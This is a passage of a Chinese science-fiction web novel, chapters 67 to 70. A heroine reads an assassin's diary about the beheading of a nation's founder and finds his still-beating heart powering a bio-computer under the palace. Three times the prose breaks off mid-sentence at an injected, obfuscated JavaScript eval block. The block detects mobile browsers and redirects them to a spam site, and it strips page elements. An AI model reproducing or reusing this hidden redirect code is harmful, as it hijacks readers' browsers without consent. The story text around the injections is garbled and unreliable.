“一个无名地下组织的老大。她在第七扇区捡到我的时候,我还是个病怏怏的孤儿。”凯兰答道。 郗灵觉得这场对话早偏离了正常轨道,却还是忍不住追问:“那你为什么要离开她?” “她后来知道了我的姓氏,说自己不该教坏芬迪尔的后人。”凯兰低头抿了口奶茶,语气平淡得像在讲旁人的故事,“她掏光所有积蓄,买了一张去第一扇区的船票,还托了个熟人送我去读书——她说,我应该有光明的未来。” 郗灵没再追问。 可凯兰却又轻声开口:“我读了书,也受了教育,最后还是活成了和她期许相反的人。” 郗灵不知该接什么,只好低头喝了口奶茶,岔开话题:“把日记给我看看。” 凯兰“嗯”了一声,递来证物袋。 郗灵取出里面的日记本,刚翻开第一页,眉头就皱了起来:“坏了,我看不懂。” “诺因尼家族在帝国时代是皇帝的隐臣,专做暗杀、监视、保护皇室这类事。那位老爷子是末代皇帝的白手套,他写日记用的是帝国语,不是现在的通用语。”凯兰接过日记,垂眸扫了几眼,补充道,“幸好我学过帝国语,能帮你翻译。” 渡鸦的真名是拉文·诺因尼。 如今的通用语,本就是由帝国语简化而来的新语言。 而无论是“拉文”还是“诺因尼”,在帝国语里都有“乌鸦”的意思。 郗灵想起渡鸦的模样——这位总爱把帽檐压得极低的学哥,性子散漫,日子过得清闲,最大的爱好就是去海边钓鱼,实在和他那满是黑暗过往的杀手家族扯不上半点关系。 凯兰此前也没看过日记内容。 他的帝国语本就不算好,对着页角斑驳的日记本端详了好一会儿,忽然深吸一口气,压低声音,语气里满是不敢置信: “新历8年10月25日,我杀死了伟大的国父维尔莱德。” 67. 忏悔录 【新历8年10月25日,我杀死了伟大的国父维尔莱德。 帝国覆灭已有八年,但我的灵魂还停留在辉煌而腐朽的帝国时代。 八年前,我还是末代皇帝的最后一位隐臣,当反抗军的铁蹄踏破皇宫大门时,我正在完成末帝下达的最后一项任务,斩下了一位铁骨铮铮的忠臣的头颅。 “我的渡鸦,我的死神。”临行前,我低头跪在金碧辉煌的大殿中,听那位端坐于龙骨王座上的皇帝沉倦地吩咐,“我的时代即将结束,但赫利克斯卿和其他见异思迁的臣子不同,听闻我的死讯后,他绝不会独活。但自杀是重罪,灵魂不得升入天国,所以,我请你赐他甜蜜的死亡。” 帝国皇帝的洗礼仪式和寻常百姓不同,他们身负龙血,因此,洗涤污秽的圣水也是猩红的美酒。他们的话也如同美酒一般,带着浓浓的醉意,却每句都是真言。 帝国……真的要灭亡了吗? 我不由得惶恐起来,却一句也不敢多问。 直到斩下那位忠臣的头颅时,我恍惚地听见了反抗军杀死皇帝的消息,手中的刀“叮当”一声,清脆地掉落在地。 八年。 这八年,我不知道是如何度过的。 新的杀死旧的,旧的埋进土里。一支由农奴组建起来的、不成气候的草台班子军队,竟然捣碎了帝国的心脏,踏着龙的尸骨成立了新的国家。 联邦。 所有人的嘴里都说着这个名词,好像一个时髦的单品。 ——为了联邦! 富丽堂皇的皇宫被那群泥腿子用一把火烧了个精光,庞大的帝国碎成了千百块,连弹丸之地也升起了象征独立的国旗。 搅动一潭死水并不意味着胜利,反而只会开启新一轮的混乱,甚至让搅动死水者也难以自拔。 帝国终将毁灭,但不该如此毁灭。 伟大的国父维尔莱德,亲自把无辜的百姓推入了无尽深渊。 ——为了联邦! 战争取代了和平,新生的联邦却比保温箱里早产的婴儿还要弱小。 没人能说出,曾经的帝国和如今的联邦哪个更好。 昔日的贵族老爷要用鞭子抽死一个农奴,至少需要赔付半枚银币。但如今,联邦的军官只需一场战役,就能让成千上万个士兵裹尸沙场,再也回不了家。 ——为了联邦! 这句话在新历元年尚还充满激情,可八年光阴过去,它已经沦为一句政治正确的口号。 战争平等地折磨着所有人,而有良心者更甚。 我是末帝的隐臣,是他的渡鸦、死神、刽子手。我曾在黑夜中夺取无数人的性命,但我从未想过,我那双沾满鲜血的手竟还能更加漆黑。 帝国覆灭后,我失去了“先斩后奏”的特权,和任何一位联邦公民无异。 但这八年里,我并未和死神割席,仍然代行着他的权柄。 我在联邦杀死的第一个人,是一个白发苍苍的老妪。 她深受病痛折磨,亟需的吗/啡却供应给了前线。我洗净双手,以最大的虔诚杀死了她,即使我曾经立誓,我的刀绝不会挥向平民。 而如今……我在属于联邦的时代里,杀死了我隐臣生涯中的最后一人。 “为了联邦!” “为了联邦!” “为了联邦!” 维尔莱德的人头滚落,鲜血滴答答流了一地。 我的双手第一次颤抖不休。我握着那把染血的刀,环顾四周,看着那群欢呼雀跃的“公民”们。 不,维尔莱德深爱着的公民并不在这里。 他们的意志被眼前这群“官员”代表了,而他们的声音……无法传递到维尔莱德的耳朵里。 “为了联邦!” “为了联邦!” “为了联邦!” 那声音又出现了,将我从蒙太奇般的臆想拉回现实。 我是本应行走在黑夜里的渡鸦,如今却在光明下行刑,为这位我曾为之憎恶,后又转为好奇,最终变为钦佩的伟大国父,画上一个血淋淋的句号。 维尔莱德死了。 帝国历11月7日,新历10月25日,我杀死了伟大的国父维尔莱德。】 凯兰的手指颤抖地拈着纸页。 郗灵深吸一口气:“往后翻。” 哗啦啦! 陈旧的日记被翻动,过去的岁月以诺因尼老家主的视角,展现在郗灵眼前—— 【我得到了一颗心。 那是维尔莱德的心,当初却掉落在角落里,无人将它拾起。 七年前,联邦的官员们将维尔莱德的尸身分割成了数百份——他们用甜蜜的谎言诓骗了伟大的国父,让他自愿成为我的刀下亡魂,用自己的鲜血饲喂他们的野心,以此完成“联邦万岁”的伟大理想。 十位元帅默许了这一切。 其中,和国父最亲近的两位元帅——杜尚别元帅和叶卡捷琳娜元帅甚至就站在我的身后,目睹我的刀砍向维尔莱德的脖颈。 “我已经将芬迪尔流放了。”叶卡捷琳娜元帅说,“维尔莱德,你安心地走吧。” 但相比淡然自若的叶卡捷琳娜元帅,杜尚别元帅的表现堪称丑态百出。 以诺·冯·杜尚别,他的祖母是皇室外嫁的公主,他流淌着四分之一的皇室血脉,是帝国覆灭后最有可能背叛国父的人。 他在国父上绑前反复拔枪,并不慎误触三次扳机,大腿上多了三道血淋淋的枪伤。 “我应该把枪口对准你的心脏!”他甚至跪坐在地上,像个无助的孩子似的嚎啕大哭,“维尔莱德!维尔莱德!维尔莱德!” “我的心是不会死的。”国父的脖颈就在我的刀刃下,但他竟还能说出情话般的遗言,“吾友啊,待我死后,向我的心脏开枪,让它碎成一千八百片吧。” 但分尸维尔莱德的过程中,那颗心脏“咕噜噜”滚落了下来。 它的颜色是灰败的,仿佛一颗破碎的铅心。 杜尚别元帅看到这一幕,直接晕厥了过去。 叶卡捷琳娜元帅把他拖了出去。 我并不知道这颗灰败的心隐藏着什么秘密,但那群满目垂涎的官员们,在看到那颗心的模样后,一瞬间从大梦中惊醒。 他们静静地捧着自己手中撕扯下来的、维尔莱德身体的一部分。 我并不惊讶那群官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492344|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员会对国父处以凌迟的极刑,更不想知道那群官员茹毛饮血是出于何种私心。 但这一幕……真是古怪极了。 在看到那颗灰败的心后,他们澎湃的野心和膨胀的欲望忽地熄灭。如同一群贪婪的秃鹫突然披上了人类的新衣,他们重拾起人类社会的温良恭俭让,彼此谦让着手中的肉块,即使他们的双手和前襟已是鲜血淋漓。 “为了联邦。” “为了联邦。” “为了联邦。” 重复的口号再次出现。 我终于停下颤抖的手,将刀上的鲜血抹净,收刀入鞘的同时,发誓此生再也不拔出此刀。 而后,在一群人眈眈的注视下,我走向那颗滚在角落里的、灰扑扑的心,擦拭掉手上的鲜血,将它拾了起来。 “你们不要它吗?”我问。 无人回答。 “那请把它给我吧。”我说着,把那颗死去的心揣进了怀里。 我在帝国覆灭后度过了浑噩的八年,又在国父死后度过了孤独的七年。 我没有一日不曾忏悔我的罪孽,无论那罪孽诞生于帝国,还是诞生于联邦。我梦想以最酷烈的方式迎接死神的镰刀,但我没有等来梦寐以求的死亡。 我等来了一个赎罪的机会。 新历15年,芬迪尔·兰奇在第七扇区自尽,并向联邦奉上第二扇区和第三扇区的主权。 我如往常般,向那颗死去的心讲述了这条新闻。但如水的月光下,那颗灰扑扑的心脏竟然一点点涌上鲜艳的血色,并且,有力地跳动了起来。 咚咚! 咚咚! 咚咚! 我骤然回忆起维尔莱德的遗言。 ——“我的心是不会死的。” 我是皇帝的隐臣,即使那座富丽堂皇的皇宫已被焚之一炬,且第二任大总统已迫不及待地在皇宫的旧址上,建造他的新总统府,但皇宫地底的秘密,除了死去的皇帝,就只有我知道。 我把那颗活过来的心脏,藏在了一个绝对保密、绝对安全的地方。】 不等郗灵催促,凯兰再次往后翻页。 但之后的日记全是缭乱不堪的涂鸦,这些内容几乎占据了大半本手记。 “诺因尼家的老爷子,据说很早以前就失心成疯了。”凯兰低声说,“没有人在意这件事,那时的联邦正处于最混乱的战争时代,像他一样疯掉的人,有很多很多。” 郗灵拿过那本日记,飞快往后翻。 她的心脏怦怦直跳,她总觉得这本日记没有这么简单,某种冥冥的指引让她堪称饥渴地翻找着线索,如同渴水的旅人寻找希望的绿洲。 当翻到最后一页时,几行大写的、干涸的、狰狞的血字映入郗灵眼帘。 那是她不曾知晓的文字,但她……竟然看懂了! 【日安,未来的救世主。 父辈的罪恶已在子辈身上结果,神将惩罚过去几十年的疯狂和无序,且无人能幸免。 带走我的心,离开这个地方。联邦并非应许之地,不幸诞生于战争的你,应该拥有更加光明的未来。 ——你的前行者,联邦最后一头龙,维尔莱德。】 68. 挽留 心。 那个字仿佛有无穷的魔力,郗灵盯了它许久,终是忍不住伸出手指,在上面轻轻抚摸。 龙是不死的生灵,“皇帝”身为龙的劣种,在极度退化的情况下,也能维持一颗不死的心。 维尔莱德并未经过驯化,他是天然的、完美的龙,他的心脏更不会死去。 日记的这一页血字,书写者已以国父维尔莱德自居。 她不知道,维尔莱德到底有什么神秘的能力,竟能短暂夺舍诺因尼老家主的意识,写下这篇带着浓烈预言气息的告诫。 但她知道,若想揭开世界的谜团,她一定要再去皇宫地底一趟。 凯兰盯了她半晌:“这一页写了什么?” 郗灵合上书:“无可奉告。” “是有关我的祖父,芬迪尔·兰奇吗?” “不,这和他、和你都没有关系。” “但你的眼神变了。”凯兰皱起眉头,眯起眼睛,“这是我第一次看到你,如此急切地想要得到什么……那上面的内容,和你有关,对吗?” 郗灵沉默。 “我明白了,这也无可奉告。”凯兰身子后仰,倚上椅背,主动拉远了安全距离,“但我是为你卖命的人,你让我感到有些不安——你好像要离开这里了。” 郗灵笑了一下:“你没必要不安。” “如果你真的要离开,你一定不会留下任何因果,你会在下定决心时,干脆利落地对准我的脑门开一枪。”凯兰只是简单一诈,竟然真的诈出了东西,“但你的心在动摇,你的眼神像被大雾遮住了。那个让你犹豫和迷茫的东西,到底是什么?” 郗灵再次沉默。 日记里说:离开这个地方,联邦并非应许之地。 ……要离开联邦吗? ……要离开联邦吗? ……要离开联邦吗? “啪!”郗灵重重合上日记。 凯兰被这动静吓了一跳,但郗灵的表情前所未有的凝重。 郗灵腾地起身,快步离开。 “你要去哪儿?”凯兰下意识追问。 “我去找欧白白。”郗灵的回答飘散在空气里。 欧白白? 那支奇葩小队的队长? 凯兰盯着屋顶,一只肥猫在上面灵活游走,又在郗灵离开后纵身一跃,沉重地落在了凯兰的怀里。 “喵~”墨菲甜美地叫唤。 凯兰盯着仿生猫眼里的“REC”录像标识:“你在做什么?” “伪造那小妮子之后一个月的监控录像,根据我的计算,她接下来又会人间蒸发。”墨菲的猫眼闪动着微小的电光,即使在一具猫的身体里,他依然是个骇客高手,“她太年轻了,她以为她在一堆乱麻里找出了线头,并急于理清这堆乱麻。可惜的是,她不明白,多数时候,人对问题的解决方案,都是一直背负着它,直到可以解决的那一天。” 凯兰盯着墨菲:“你觉得,有什么问题是她不能解决的吗?” 墨菲讥笑一声:“那可太多了!小到病痛和咳嗽,大到贫穷和战争,她都无力解决。” 这时,奶茶店店主走了过来。 店主穿着几乎遮住全部皮肤的白衣,只露出了一张五官寡淡的脸。 让凯兰在意的是,店主有一双惊艳的绿眼睛,但有一点点杂色,仿佛略带杂质的翡翠。 “您好,请您买单。”店主说。 凯兰:“……” 凯兰转头望向郗灵的背影,发现对方早已不见踪迹。 他认命地叹了口气,从裤兜里掏出几张联邦币,递给了店主。 “抱歉,我需要几分钟去换零钱。”店主充满歉意地说,“现在已经很少有人使用现金了,我手头零钱不够,有点找不开。” 店主离开了。 凯兰盯着店主的背影,疑惑地皱起眉头。 “他原来也是这个样子吗?”凯兰轻声问。 墨菲抬起猫头:“什么意思?” “一个月前,我混进军校踩点的时候,他的身高要比现在高一点。”凯兰把拇指和食指举在眼前,在店主的背影上比出一小截长度,“而且,他说话的声音也变了,虽然只有很小的区别,但我能听出来。” “你真是个变态,这是你身为白手套的职业修养吗?”墨菲说。 店主很快回来了。 他递给凯兰零钞,凯兰抱着猫,状似无意地问了一句:“你们是不是换老板了?” 店主微笑解释:“是的。原来的老板是我哥哥,他最近生病了。” “他在哪家医院?”凯兰追问。 凯兰纯粹是在八卦,但店主脸上的微笑一怔,继而露出一个更加温和的笑容。 “他在家里休息呢。”店主弯起略带杂色的、翡翠绿的双眸,“有许多兄弟姐妹陪着他,他不会感到孤独的。” …… “退赛?”欧白白从战术草稿上抬起头,“为什么?” 郗灵也不藏着掖着。 她把那本日记递给欧白白。 欧白白翻了几页,而她的帝国语水平明显比凯兰好,阅读速度比凯兰快上许多。 那本日记只有两篇内容可以解读,当欧白白翻到最后一页血书时,郗灵以为,欧白白会因为看不懂那陌生的文字,把维尔莱德的告诫书也视作了和前文一样的混乱涂鸦。 但不知是不是巧合,欧白白竟然抚摸上其中一个字——心。 郗灵一愣。 “郗灵,我很高兴,你愿意让我看到这本日记。”欧白白合上日记,把它放在了那一沓厚厚的战术草稿上。 而后,她示意郗灵坐下,还塞来了一把软糖:“要尝尝吗?心情混乱时,吃点糖挺好的——糖分能刺激身体分泌多巴胺,帮人产生愉悦感。” 郗灵剥开糖纸,吃了一颗。 甜滋滋的,是工业糖精的味道。 郗灵含着糖果,但欧白白接下来的话让郗灵惊掉了下巴。 “我会黑掉这里的监控,你不用担心我们的谈话会泄露出去。”欧白白也拨开一颗糖果,轻巧地扔进嘴里,“郗灵,我大概能猜到你为什么想要退赛——可别用那套不走心的陈词滥调来敷衍我,你不是那种轻易食言的人,除非你接下来的行动,会把身边的人卷入巨大的麻烦中。” 郗灵看着欧白白的双眼:“那个麻烦,可能比我想象中更大。” 她一定要得到维尔莱德的心脏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16500791|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但无论那颗心脏本身,还是维尔莱德身上的秘辛,都可能招致杀身之祸。 她不会死,她即使脑袋开花也能复活。 但欧白白他们不行。 “你的确是个麻烦精,但你不是队里最麻烦的一个。”欧白白嚼着软糖,“我挑些能和你说的吧——渡鸦,他是诺因尼家族的人,你通过这本日记,大概也知道他出身杀手世家了。但你知道,他是怎么进入维尔莱德军校的吗?” 郗灵摇头:“不知道。” “他父亲当年刺杀元帅失败,反被元帅杀了,渡鸦也因此成了孤儿。后来元帅力排众议,让他进入了维尔莱德军校。”欧白白说,“他不愿意提‘诺因尼’这个姓氏,更没心思当一个好学生——毕竟诺因尼家族犯过罪,可他父亲已经死了;元帅虽然是无辜的,但从某种意义上说,又是害死他父亲的人。这事儿他想了许多年,直到今天也没彻底走出来。” 郗灵沉默。 “还有雪理。”欧白白继续道,“那小妮子和你挺熟悉,但你太懂礼貌了,既不会黑进智库查看她的档案,也没有兴趣探索她内心的秘密。但你知道吗?她如今正在她的理想和你的立场之间犹豫,她把这份犹豫掩藏得好极了,但我偏偏学过一点微表情,所以那心思几乎等于写在她的脸上。” 郗灵凝眉:“……她在犹豫什么?” “她看出你和墨菲之间不太对付,准确地说,是你和墨菲背后的研究院有了点隔阂。”欧白白笑眯眯地看着郗灵的脸,“伊甸是总统的AI助理,你又炸了总统府,无论怎么说,伊甸都该记恨你吧?不过雪理在机甲研究上很有天赋,她原本打算跟墨菲搭上线,可总统府那场爆炸一闹,她的计划直接就戛然而止了。” 郗灵沉默。 “还有莱茵。”欧白白的语气微不可察地沉重了些,“天知道我黑进智库时,竟然通过一条不知名的监控线路,看到他的兄弟姐妹们齐刷刷朝监控镜头看过来。那一瞬间,我几乎吓出一身冷汗。更离谱的是,事后,莱茵竟然主动坦白,那条监控根本是他故意展示给我的,就像给好奇的鸟儿投喂饵食一样。” 郗灵再次沉默。 她一时间不知道该说什么。 她只觉得……这支队伍真是群英荟萃。 “所以,如果你只是担心自己的行为会给我们带来麻烦,那真没必要。”欧白白又拨开一颗糖,“你可以放心大胆去做想做的事——因为你是我一眼相中的王牌。就算你缺席了这段时间的训练,以你的实力也足够应付咱们的对手。初期咱们可能会缺些默契,但没关系,一切交给莱茵就好,凭他的指挥功底,肯定能把你放在最合适的位置上。” 郗灵看着桌上的那本日记,以及日记本下那沓厚厚的战术草稿。 欧白白为了联赛的事,可谓殚精竭虑,把几乎全部精力都投入了进去。 郗灵最终说了实话,即使她的内心也充满不确定:“学姐,如果我不回来了呢?” “我可是银河第一骇客的关门弟子,你要是头也不回地走了,我会用尽各种上不了台面的手段,找你要个解释。”欧白白用开玩笑的语气说着,“所以,除非你被无数人追杀,连见我一面都做不到,不然我可不会轻易放走你这张王牌。” 69. 未竟之谋(一) 郗灵再次来到总统府。 洁白的府邸正在修缮,一圈红黄双色的尼龙警示绳围出施工范围,装修工人与警卫队员各自松散走动,像两条不会相交的平行线。 郗灵避开巡逻的警卫与低空掠过的飞天机甲,再次遁入地底。 地底藏着一座巨大而古老的地宫。 初代皇帝曾在此豢养巨龙,因他的骸骨不知所踪,且野史记载骸骨由巨龙世代守护,千百年来无人敢扰此地清静。 郗灵避开零星巡逻的机甲,一路向地宫深处行进,很快便抵达了当初凯撒父子对峙的场所。 老凯撒的遗骸仍静静躺在角落,一根猩红的树枝缠绕着他的尸骨,中空的枝干里,鲜艳的液体正缓缓流淌。 察觉有人靠近,树枝微微一动,竟似有灵智般小心放下遗骸,缓缓向她探来。 此前树枝噬人的画面仍在眼前,郗灵下意识缓步后退,手摸向腰间的机甲钮,聚能护盾瞬间将她笼罩。 可她突然想起,上次触碰树枝时看见的幻象—— 参天的血树、数不清的培养罐、罐中漂浮的人形…… 诺因尼老家主若要藏匿维尔莱德的心脏,会不会就藏在那棵树里? 思绪间,血红树枝已爬至护盾前,却没了往日的凶狠,只轻轻抬起枝头,似在隔着护盾确认她的身份。 上一次两位凯撒对峙时,树枝宛如被侵犯领地的野兽,表现得无比狂躁。但这一次,只有她在场,树枝竟异常温顺。 它隔着护盾轻轻摇晃、微微颤抖,很快化作一只人类手掌的模样,掌心朝上,似在等待她伸手相握。 掌心处还浮现出一张细小的嘴:“十三号说得没错,你果然会再次来看望我们。” ——“十三号”是谁? ——“我们”又指什么? 郗灵按捺住心中的疑问,几番挣扎后解除了护盾,试探着将手放上那只血红手掌。 红色的手掌立刻与郗灵的手掌十指相扣,随后,便带着她向地底更深处走去。 龙姬当初轰出的巨大空洞尚未修复,下行途中,郗灵多次险些找不到落脚点,却总有几根树枝从黑暗中伸来,小心翼翼地托住她的脚底。 到了开阔处,郗灵松开树枝,召唤出龙姬并钻进驾驶舱。 树枝们竟愣了一瞬,随即又争先恐后地围上来“搀扶”她,生怕她不慎跌落。 龙姬展开钢铁六翼,缓缓向下滑行。 越往深处,郗灵便越发沉默,心中的震撼也越发强烈。 这里的空间比想象中更辽阔,漆黑一片,连回声都被彻底吞噬,与其说像地底,不如说像死神的神国。 即便地狱,尚有翻涌的岩浆与乱窜的恶魔,这里却只有死寂。 直到远处亮起一点微弱的红光。 随着距离拉近,红光渐大渐亮,四周石壁上的红色树枝也越来越密集,像钢筋般牢牢固定着土层。雪白的龙姬成了这片黑暗中唯一的异类,如同一颗苍白的星,穿过死寂的黑暗,坠入如梦似幻的地下王国。 “嘭!” 龙姬稳稳落地,气浪在脚边缓缓蔓延。 郗灵浸泡在驾驶舱的母液中,望着那棵贯穿天地的血色巨树,瞬间失语。 幻象里的惊鸿一瞥,只让她看清了巨树的轮廓。而此刻亲临,她才从旁观者真正变成了亲历者。 ——上一次产生这般强烈的震撼,还是在母星上初见从天而降的铁人士兵时。 那时,数不清的铁人如钢铁泰坦般,摧枯拉朽地毁灭了她的故乡,也碾碎了她对未来的所有憧憬。那些被称作“无机生命”的士兵,坚硬、冰冷、无情,在她心中根本不配被称为“生命”。 可如今,眼前这株宏伟的生命,让她真正生出了无法言喻的悸动。 地底深处渗不进丝毫恒星的亮光,血色巨树却通体散发着澄净炫目的红光,红如鲜血,却毫不刺眼。无数粗细不一的树枝与藤蔓缠绕在树干上,十个硕大如血日的圆盘,像果实般悬在枝头。 巨树上唯一的人工造物,是数不清的导管。 它们被红色物质覆盖,几乎与巨树融为一体。汩汩的红色汁液被导管抽取,中途渐渐化作柔和的淡琥珀色,顺着上行的导管探入未被照亮的黑暗,宛如逆生的树根,狠狠刺向那片虚假的“天空”。 郗灵驾驶着龙姬,像朝圣路上渺小的白蚂蚁,一步步向巨树靠近。 咚咚! 咚咚! 咚咚! 这澎湃有力的心跳声,她只在觐见之塔的维尔莱德身上听过。 诺因尼老家主的日记没有骗她,维尔莱德的心脏,真的藏在这里。 突然,一阵异响传来。 郗灵立刻停下脚步,看见巨树附近的红色枝条如被惊动的蛇群般苏醒,纷纷从树上脱落,匍匐到龙姬脚下,小心地探起枝头,却被龙姬的聚能护盾挡住。 “拘束装甲?但没有生命方程式?”一个低沉的男声在空旷的空间里响起,“白璐的理想终于实现了?现在的人类,已经找到驾驶机甲的正确方法了?” 郗灵猛地一怔。 ——这是维尔莱德的声音! 红色树枝窸窣颤抖着退回巨树上,树上那十个巨大的圆盘由黯淡逐渐转为明亮,强烈的光芒让郗灵不由得闭上双眼。 几秒后,光芒消散。 郗灵睁开眼,怔怔望着眼前的景象。 血色巨树的粗壮树干中,一具苍白的人类骸骨随着枝条剥落缓缓显露,骨头上没有一丝血肉与经络,可肋骨下方的空洞胸腔里,却有一颗鲜红的心脏在有力地跳动。 这具骸骨宛如为心脏量身打造的完美容器,空洞的眼窝正直直望向龙姬,那无形的视线似能穿透机甲的装甲与驾驶舱,径直与她对视。 在郗灵眼中,骸骨的轮廓正一点点与觐见之塔中维尔莱德的影像重合。 “我听到了另一头龙的心跳声。”骸骨的上颌与下颌缓缓开合,他已没有声带,声音却清晰地在空间中回荡,“看来,有人找到了老渡鸦的日记,指引你来到了这里。” “诺因尼老家主已经死了。”郗灵忍不住开口回应。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508420|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我知道。”骸骨的颌骨“咔哒”开合着,“他将我的心脏放入这里后,灵魂便已离开,留在人间的不过是一具空壳。我为他惋惜——他虽是黑夜里的杀手,心却比那些道貌岸然的官员更加光明。即便当初亲手斩下我的头颅,真正杀死我的,却不是他。” 郗灵沉默片刻,打开驾驶舱的舱门。 淡琥珀色的母液从舱口溢出。 骸骨被母液的质地吸引。 他看了一眼便叹息道:“龙的鲜血啊……果然,白璐的理想并未实现。” 郗灵刚探出身,闻言愣了一瞬,反应过来后立刻扶着舱门猛地抬头,牢牢盯着半空中向上延伸的导管。 ——它们正过滤着巨树鲜红的汁液,将琥珀色的液体输送进黑暗里那些密密麻麻、隐约难辨的培养罐中。 人造羊水…… 母液…… 龙的鲜血…… 联邦对龙的利用,究竟到了何等丧心病狂的程度? “你要带走我的心脏吗?”骸骨镶嵌在树干中,宛如十字架上的囚徒,唯一能活动的唯有那对颌骨,“联邦并非应许之地,我已为它奉献了一生,但你不该被束缚于此。我的心是我唯一能留给你的遗物,带走它吧,走得远远的,再也不要回来。” 郗灵没有伸手。 带走心脏、离开联邦,这是维尔莱德为她做出的判断。 她不会质疑维尔莱德的初衷。 维尔莱德拥有足以颠覆一切的力量,既能将一个延续三千年国祚的帝国彻底覆灭,又能亲手建立起一个崭新的联邦。他若想得到权力,完全可以以第一任大总统的身份统治联邦至今,而非被老渡鸦斩下头颅,以最惨烈的方式死去。 人因终将奔赴死亡,故而不畏死者被称作勇士。 龙本是不死的生灵,可当龙愿意为人类赴死时,便成了超越族群的守护者。 维尔莱德亦是如此,他是一位真正的勇士。 这样的人,绝不会在她身上贪图什么。 “我们还有时间,国父。”她说,“我对这个世界一无所知,认识它的方式,唯有残忍的战争。你是我的先行者,早已走出了那团迷雾,可我仍在雾中徘徊。我请求你为我解惑——无论最终是留下还是离开,我都该看清这个世界的模样,即便它的真容残酷至极。” 骸骨陷入沉默。 “……如你所愿,小友。”良久,他才开口,“但首先,我要纠正一点:你不该称我为‘国父’。” 郗灵瞳孔骤然一颤:“为什么?” “维尔莱德的灵魂,早在新历8年就已死去。留在这世间的,不过是一颗不死的心脏,以及残留在其中的一缕迷茫意识。”骸骨垂眸望着郗灵,“我或许是这世上最有资格自称‘维尔莱德’的存在,可镜子的碎片终究不同于完整的镜子,即便两者都能映照事物,碎片却始终没有完整的自我。若你愿意,我更希望你用我的新名字称呼我。” 郗灵一瞬不瞬地盯着骸骨,声音微颤:“那个名字,是什么?” 骸骨缓缓答道:“主脑。” 70. 未竟之谋(二) 主脑。 郗灵后退两步,抬头仰视这棵血红巨树。 世界的谜团终于向她揭开了一部分——主脑果然如同“伊甸”一般,并非冰冷的硅基AI,而是由湿件和血肉组成的生化机组。 伊甸的核心是集群湿脑,象征着理性、逻辑、智慧。 主脑的核心是维尔莱德的心脏,象征着感性、人文、生命。 对统治者而言,一个听话好用的工具,远胜于一位忠言逆耳的管家,因此,伊甸最终取代主脑,成了政府与总统的AI助理。 骸骨张合着颌骨,空洞的眼窝凝视着郗灵。树上的十个血色圆盘如同十轮血日,将此地衬得宛如血色末世,也让骸骨看上去像极了受难的圣子。 他温柔地问:“你的名字叫郗灵,对吗?” 郗灵点头:“是。” “这是凤凰上将、第七军团提督萧寒剑女士为你取的联邦名字。但我还不知道,你的真名用母语该怎么读。”骸骨问道。 郗灵沉默片刻,轻声回答:“Shiera。在我的母语里,它的意思是‘蓝色的海洋’。” “我能想象,当年你的养父母看到你那双蓝眼睛时,心中便自然而然地生出了这个名字。”骸骨低声说。 郗灵已经很久没说过母语了,可仔细算来,她离开第七军团母舰也才两个月。 她正沉浸在这份难言的感怀中,听见骸骨提及“养父母”一词,骤然惊愕地抬起了头,呢喃道:“你怎么会知道……” “我当然知道。”骸骨轻笑一声,“因为,当年就是我把你送出联邦,让你漂流到那颗与世隔绝的星球上的。” 郗灵彻底怔住了。 她下意识望向头顶的黑暗。 ——那是连血色巨树都无法照亮的区域。 一根根散发着微光的导管向上延伸,仿佛探入一片漆黑空洞的宇宙。黑暗中,一只只培养罐静静悬挂,即便看不见罐内的景象,它们的存在也如同一颗颗被吞噬了光彩的、遥远的星星。 骸骨缓缓开口,讲述起尘封的过往: “新历15年,芬迪尔·兰奇在绝望中自尽,从那时起,联邦便不再是人民的联邦,而成了新官僚集团的囊中之物。” “这群官僚成分复杂,既有世家与旧贵族,也有战乱中崛起的新贵族,还有从底层或中低层爬上来的新官员,他们擅长在混乱中瓜分利益的蛋糕,却没能力把蛋糕做大。” “所以,当芬迪尔将第二扇区与第三扇区的主权献上时,他们的第一反应不是趁势收复第四至第十扇区,而是立刻开启新一轮内斗,只为确保自己能分到最大的一块。” “但乱世从不缺英杰,人类也总有自救的力量。就在联邦历史上最混乱、最黑暗、最绝望的时代,我诞生了。” “那时,联邦的新公民极度厌憎帝国的旧遗产。主流观点认为,正是帝国的科技催生了机械帝皇的诞生,所有硅基、机械、无机造物都该被视作糟粕。” “可我的发明者,开国十大元帅之一的白璐元帅,却坚持人类该秉持‘扬弃’的态度。她力排众议,将无机科技与有机科技结合,以维尔莱德的心脏为动力源,创造出了银河中第一台生物计算机,并把主机房设在皇宫地底,即传闻中,初代皇帝豢养巨龙的地方。” “编写我的人格时,白璐元帅曾数次望着我的投影,轻声呢喃‘维尔莱德’这个名字。可她很快清醒过来,在我的底层代码里写入了一条铁律:主脑永远只是主脑,绝不可自称‘维尔莱德’。” “但变故来得突然——我的主机房很快发生了意外。” 